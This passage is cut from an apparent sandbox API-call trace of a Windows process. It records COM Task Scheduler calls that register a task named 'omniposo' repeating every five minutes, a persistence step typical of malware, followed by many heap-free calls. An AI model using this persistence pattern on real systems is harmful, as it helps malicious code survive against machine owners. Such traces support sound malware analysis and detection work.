cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0114.225] lstrlenW (lpString="Second") returned 6 [0114.225] GetProcessHeap () returned 0x1f1146c0000 [0114.225] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146ca990 [0114.225] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.225] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0114.225] lstrlenW (lpString="Third") returned 5 [0114.225] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.225] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0114.225] lstrlenW (lpString="Fourth") returned 6 [0114.225] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.225] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0114.225] lstrlenW (lpString="Last") returned 4 [0114.225] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xe718eac4b0, cchData=128 | out: lpLCData="0") returned 2 [0114.225] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.225] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0114.225] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0114.225] GetProcessHeap () returned 0x1f1146c0000 [0114.225] GetProcessHeap () returned 0x1f1146c0000 [0114.225] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cab70) returned 1 [0114.226] GetProcessHeap () returned 0x1f1146c0000 [0114.226] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cab70) returned 0xc [0114.226] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cab70) returned 1 [0114.226] GetProcessHeap () returned 0x1f1146c0000 [0114.226] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x16) returned 0x1f1146caa50 [0114.226] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xe718eac4d0, cchData=128 | out: lpLCData="0") returned 2 [0114.226] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.226] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0114.226] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0114.226] GetProcessHeap () returned 0x1f1146c0000 [0114.226] GetProcessHeap () returned 0x1f1146c0000 [0114.226] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146caad0) returned 1 [0114.226] GetProcessHeap () returned 0x1f1146c0000 [0114.226] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146caad0) returned 0xe [0114.226] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146caad0) returned 1 [0114.226] GetProcessHeap () returned 0x1f1146c0000 [0114.226] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x16) returned 0x1f1146caa90 [0114.226] GetLocalTime (in: lpSystemTime=0xe718eac708 | out: lpSystemTime=0xe718eac708*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x25, wMilliseconds=0x254)) [0114.226] lstrlenW (lpString="") returned 0 [0114.227] GetLocalTime (in: lpSystemTime=0xe718ead0f8 | out: lpSystemTime=0xe718ead0f8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x25, wMilliseconds=0x254)) [0114.227] lstrlenW (lpString="") returned 0 [0114.227] lstrlenW (lpString="") returned 0 [0114.227] lstrlenW (lpString="") returned 0 [0114.227] lstrlenW (lpString="") returned 0 [0114.227] lstrlenW (lpString="5") returned 1 [0114.227] _wtol (_String="5") returned 5 [0114.227] lstrlenW (lpString="") returned 0 [0114.227] lstrlenW (lpString="") returned 0 [0114.227] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0114.238] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0114.395] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xe718eace50 | out: ppv=0xe718eace50*=0x1f114945730) returned 0x0 [0114.417] TaskScheduler:ITaskService:Connect (This=0x1f114945730, serverName=0xe718eacf40*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xe718eacf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xe718eacef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xe718eaced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0114.462] TaskScheduler:ITaskService:GetFolder (in: This=0x1f114945730, Path=0x0, ppFolder=0xe718ead030 | out: ppFolder=0xe718ead030*=0x1f1149458e0) returned 0x0 [0114.464] TaskScheduler:ITaskService:NewTask (in: This=0x1f114945730, flags=0x0, ppDefinition=0xe718ead008 | out: ppDefinition=0xe718ead008*=0x1f114945960) returned 0x0 [0114.464] ITaskDefinition:get_Actions (in: This=0x1f114945960, ppActions=0xe718eacf50 | out: ppActions=0xe718eacf50*=0x1f1149459f0) returned 0x0 [0114.465] IActionCollection:Create (in: This=0x1f1149459f0, Type=0, ppAction=0xe718eacf90 | out: ppAction=0xe718eacf90*=0x1f114945e00) returned 0x0 [0114.465] IUnknown:Release (This=0x1f114945e00) returned 0x1 [0114.465] IUnknown:Release (This=0x1f1149459f0) returned 0x1 [0114.468] ITaskDefinition:get_Triggers (in: This=0x1f114945960, ppTriggers=0xe718eacb00 | out: ppTriggers=0xe718eacb00*=0x1f114945cb0) returned 0x0 [0114.468] ITriggerCollection:Create (in: This=0x1f114945cb0, Type=1, ppTrigger=0xe718eacae8 | out: ppTrigger=0xe718eacae8*=0x1f114945e70) returned 0x0 [0114.468] lstrlenW (lpString="5") returned 1 [0114.469] _vsnwprintf (in: _Buffer=0xe718eaca70, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xe718eaca68 | out: _Buffer="PT5M") returned 4 [0114.469] ITrigger:get_Repetition (in: This=0x1f114945e70, ppRepeat=0xe718eacae0 | out: ppRepeat=0xe718eacae0*=0x1f114945f00) returned 0x0 [0114.469] IRepetitionPattern:put_Interval (This=0x1f114945f00, Interval="PT5M") returned 0x0 [0114.469] IUnknown:Release (This=0x1f114945f00) returned 0x1 [0114.469] _vsnwprintf (in: _Buffer=0xe718eaca30, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xe718eaca08 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0114.469] ITrigger:put_StartBoundary (This=0x1f114945e70, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0114.469] lstrlenW (lpString="") returned 0 [0114.469] lstrlenW (lpString="") returned 0 [0114.469] lstrlenW (lpString="") returned 0 [0114.469] lstrlenW (lpString="") returned 0 [0114.469] IUnknown:Release (This=0x1f114945e70) returned 0x1 [0114.469] IUnknown:Release (This=0x1f114945cb0) returned 0x1 [0114.469] ITaskDefinition:get_Settings (in: This=0x1f114945960, ppSettings=0xe718eacf90 | out: ppSettings=0xe718eacf90*=0x1f114945b30) returned 0x0 [0114.470] lstrlenW (lpString="") returned 0 [0114.470] IUnknown:Release (This=0x1f114945b30) returned 0x3 [0114.470] GetLocalTime (in: lpSystemTime=0xe718eace48 | out: lpSystemTime=0xe718eace48*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x25, wMilliseconds=0x34e)) [0114.470] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0114.470] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xe718eace60, nSize=0xe718eace38 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xe718eace38) returned 0x1 [0114.470] ITaskDefinition:get_RegistrationInfo (in: This=0x1f114945960, ppRegistrationInfo=0xe718eace30 | out: ppRegistrationInfo=0xe718eace30*=0x1f114945a70) returned 0x0 [0114.471] IRegistrationInfo:put_Author (This=0x1f114945a70, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0114.471] _vsnwprintf (in: _Buffer=0xe718eace60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xe718eacdf8 | out: _Buffer="2023-09-19T17:15:37") returned 19 [0114.471] IRegistrationInfo:put_Date (This=0x1f114945a70, Date="2023-09-19T17:15:37") returned 0x0 [0114.471] IUnknown:Release (This=0x1f114945a70) returned 0x1 [0114.471] malloc (_Size=0x18) returned 0x1f114945f80 [0114.471] free (_Block=0x1f114945f80) [0114.471] lstrlenW (lpString="") returned 0 [0114.471] malloc (_Size=0x18) returned 0x1f114945f80 [0114.471] ITaskFolder:RegisterTaskDefinition (in: This=0x1f1149458e0, Path="omniposo", pDefinition=0x1f114945960, flags=6, UserId=0xe718ead0a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xe718ead080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xe718ead0c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xe718ead060 | out: ppTask=0xe718ead060*=0x1f114946fd0) returned 0x0 [0114.541] free (_Block=0x1f114945f80) [0114.541] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.542] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0114.542] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0114.542] GetProcessHeap () returned 0x1f1146c0000 [0114.542] GetProcessHeap () returned 0x1f1146c0000 [0114.542] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca930) returned 1 [0114.542] GetProcessHeap () returned 0x1f1146c0000 [0114.542] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca930) returned 0xc [0114.542] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca930) returned 1 [0114.542] GetProcessHeap () returned 0x1f1146c0000 [0114.542] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x82) returned 0x1f1146e5bf0 [0114.542] _vsnwprintf (in: _Buffer=0xe718ead710, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xe718eacfa8 | out: _Buffer="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0114.542] __iob_func () returned 0x7ffa7941e210 [0114.542] _fileno (_File=0x7ffa7941e240) returned -2 [0114.542] _errno () returned 0x1f114940840 [0114.542] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0114.542] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.542] lstrlenW (lpString="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0114.542] GetConsoleOutputCP () returned 0x0 [0114.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0114.542] GetConsoleOutputCP () returned 0x0 [0114.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0114.542] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 70 [0114.543] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0114.543] IUnknown:Release (This=0x1f114946fd0) returned 0x0 [0114.543] TaskScheduler:IUnknown:Release (This=0x1f114945960) returned 0x0 [0114.543] TaskScheduler:IUnknown:Release (This=0x1f1149458e0) returned 0x0 [0114.543] TaskScheduler:IUnknown:Release (This=0x1f114945730) returned 0x0 [0114.546] lstrlenW (lpString="") returned 0 [0114.546] lstrlenW (lpString="5") returned 1 [0114.546] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0114.546] GetProcessHeap () returned 0x1f1146c0000 [0114.546] GetProcessHeap () returned 0x1f1146c0000 [0114.546] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cacd0) returned 1 [0114.546] GetProcessHeap () returned 0x1f1146c0000 [0114.546] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cacd0) returned 0x1fc [0114.547] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cacd0) returned 1 [0114.547] GetProcessHeap () returned 0x1f1146c0000 [0114.547] GetProcessHeap () returned 0x1f1146c0000 [0114.547] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4ee0) returned 1 [0114.547] GetProcessHeap () returned 0x1f1146c0000 [0114.547] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4ee0) returned 0x4 [0114.547] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4ee0) returned 1 [0114.547] GetProcessHeap () returned 0x1f1146c0000 [0114.547] GetProcessHeap () returned 0x1f1146c0000 [0114.547] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cac90) returned 1 [0114.547] GetProcessHeap () returned 0x1f1146c0000 [0114.547] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cac90) returned 0x16 [0114.547] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cac90) returned 1 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cab90) returned 1 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cab90) returned 0x18 [0114.548] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cab90) returned 1 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb640) returned 1 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb640) returned 0x20 [0114.548] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb640) returned 1 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c38c0) returned 1 [0114.548] GetProcessHeap () returned 0x1f1146c0000 [0114.548] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c38c0) returned 0xa0 [0114.549] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c38c0) returned 1 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4ca0) returned 1 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4ca0) returned 0x18 [0114.549] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4ca0) returned 1 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cb7c0) returned 1 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cb7c0) returned 0x20 [0114.549] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cb7c0) returned 1 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4740) returned 1 [0114.549] GetProcessHeap () returned 0x1f1146c0000 [0114.549] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4740) returned 0x9a [0114.550] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4740) returned 1 [0114.550] GetProcessHeap () returned 0x1f1146c0000 [0114.550] GetProcessHeap () returned 0x1f1146c0000 [0114.550] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca950) returned 1 [0114.550] GetProcessHeap () returned 0x1f1146c0000 [0114.550] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca950) returned 0x18 [0114.550] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca950) returned 1 [0114.550] GetProcessHeap () returned 0x1f1146c0000 [0114.550] GetProcessHeap () returned 0x1f1146c0000 [0114.550] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cbaf0) returned 1 [0114.550] GetProcessHeap () returned 0x1f1146c0000 [0114.550] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cbaf0) returned 0x20 [0114.551] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cbaf0) returned 1 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c3b90) returned 1 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c3b90) returned 0x9c [0114.551] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c3b90) returned 1 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146ca9b0) returned 1 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146ca9b0) returned 0x18 [0114.551] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146ca9b0) returned 1 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c90a0) returned 1 [0114.551] GetProcessHeap () returned 0x1f1146c0000 [0114.551] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c90a0) returned 0x20 [0114.552] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c90a0) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146caa30) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146caa30) returned 0xe [0114.552] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146caa30) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4800) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4800) returned 0x18 [0114.552] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4800) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9040) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9040) returned 0x20 [0114.552] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9040) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9b60) returned 1 [0114.552] GetProcessHeap () returned 0x1f1146c0000 [0114.552] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9b60) returned 0x208 [0114.553] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9b60) returned 1 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4c80) returned 1 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4c80) returned 0x18 [0114.553] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4c80) returned 1 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c8fe0) returned 1 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c8fe0) returned 0x20 [0114.553] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c8fe0) returned 1 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.553] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146cbb90) returned 1 [0114.553] GetProcessHeap () returned 0x1f1146c0000 [0114.554] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146cbb90) returned 0x200 [0114.554] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146cbb90) returned 1 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4cc0) returned 1 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4cc0) returned 0x18 [0114.554] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4cc0) returned 1 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9100) returned 1 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9100) returned 0x20 [0114.554] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9100) returned 1 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.554] GetProcessHeap () returned 0x1f1146c0000 [0114.555] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4400) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4400) returned 0x14 [0114.555] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4400) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c43e0) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c43e0) returned 0x18 [0114.555] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c43e0) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c9220) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c9220) returned 0x20 [0114.555] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c9220) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c4710) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.555] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c4710) returned 0x16 [0114.555] RtlFreeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, BaseAddress=0x1f1146c4710) returned 1 [0114.555] GetProcessHeap () returned 0x1f1146c0000 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] HeapValidate (hHeap=0x1f1146c0000, dwFlags=0x0, lpMem=0x1f1146c43a0) returned 1 [0114.556] GetProcessHeap () returned 0x1f1146c0000 [0114.556] RtlSizeHeap (HeapHandle=0x1f1146c0000, Flags=0x0, MemoryPointer=0x1f1146c43a0) returned 0x18 [0114.556] RtlFreeHeap 